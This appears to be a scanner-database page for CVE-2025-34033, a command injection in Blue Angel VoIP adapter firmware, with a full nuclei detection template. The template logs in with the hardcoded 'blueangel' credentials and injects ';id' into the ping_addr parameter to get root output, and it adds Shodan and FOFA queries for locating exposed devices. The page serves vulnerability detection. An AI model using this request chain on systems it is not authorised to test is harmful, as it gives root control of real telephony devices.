Blue Angel Software Suite (5V Technologies) - OS Command Injection

highseverity

8.8CVSS score

13.2%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Blue Angel 5V Technologies Blue Angel Software Suite through 20230920, as used in Analog Telephone Adapter (ATA) and Voice over IP (VoIP) devices, allows remote authenticated attackers to execute arbitrary OS commands as root via shell metacharacters in the ping_addr parameter to webctrl.cgi?action=pingtest_update.

Impact

Remote attackers with access to the management interface can authenticate using hardcoded backdoor credentials and execute arbitrary OS commands as root on the embedded Linux device, enabling full system compromise including credential exfiltration, backdoor installation, and network pivoting.

Fix

Change default credentials, block management ports (e.g. 9000), update firmware, and restrict admin access to trusted networks.

How to confirm it

Send: GET {{BaseURL}}/
Positive when: contains "/cgi-bin/webctrl.cgi?action=index_page"
Send: GET {{BaseURL}}/cgi-bin/webctrl.cgi?action=login_authentication&redirect_action=sysinfo_page&login_username=blueangel&login_password=blueangel&B1=Login
Positive when: matches in header /Set-Cookie:.*sesskey=sess[a-f0-9]+-blueangel/
Send: GET {{BaseURL}}/cgi-bin/webctrl.cgi?action=pingtest_update&ping_addr=127.0.0.1%3Bid&B1=PING
Positive when: contains "uid=0(root)" AND contains "round-trip"

Run it with nuclei: nuclei -id CVE-2025-34033 -u <target>

The full check

id: CVE-2025-34033

info:
  name: Blue Angel Software Suite (5V Technologies) - OS Command Injection
  author: princechaddha,ritikchaddha
  severity: high
  description: |
    Blue Angel 5V Technologies Blue Angel Software Suite through 20230920, as used in Analog Telephone Adapter (ATA) and Voice over IP (VoIP) devices, allows remote authenticated attackers to execute arbitrary OS commands as root via shell metacharacters in the ping_addr parameter to webctrl.cgi?action=pingtest_update.
  impact: |
    Remote attackers with access to the management interface can authenticate using hardcoded backdoor credentials and execute arbitrary OS commands as root on the embedded Linux device, enabling full system compromise including credential exfiltration, backdoor installation, and network pivoting.
  remediation: |
    Change default credentials, block management ports (e.g. 9000), update firmware, and restrict admin access to trusted networks.
  reference:
    - https://www.exploit-db.com/exploits/46792
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34033
    - http://www.5vtechnologies.com
  classification:
    cve-id: CVE-2025-34033
    epss-score: 0.13187
    epss-percentile: 0.964
    cwe-id: CWE-78
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
  metadata:
    max-request: 3
    vendor: 5vtechnologies
    product: blue_angel_software_suite
    verified: true
    fofa-query: 'title="Analog Telephone Adapter" && server="mini_httpd"'
    shodan-query: 'http.title:"Analog Telephone Adapter" http.headers:"mini_httpd"'
  tags: cve,cve2025,rce,cmdi,iot,blueangel,voip,authenticated,vkev

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    matchers:
      - type: word
        part: body
        words:
          - "/cgi-bin/webctrl.cgi?action=index_page"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/webctrl.cgi?action=login_authentication&redirect_action=sysinfo_page&login_username=blueangel&login_password=blueangel&B1=Login"

    matchers:
      - type: regex
        part: header
        regex:
          - "Set-Cookie:.*sesskey=sess[a-f0-9]+-blueangel"
        internal: true

    extractors:
      - type: regex
        name: session
        part: header
        regex:
          - "sesskey=[^;\\s\\r\\n]+"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/webctrl.cgi?action=pingtest_update&ping_addr=127.0.0.1%3Bid&B1=PING"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid=0(root)"

      - type: word
        part: body
        words:
          - "round-trip"

References

Use this check only on systems you are authorised to test. Where the data comes from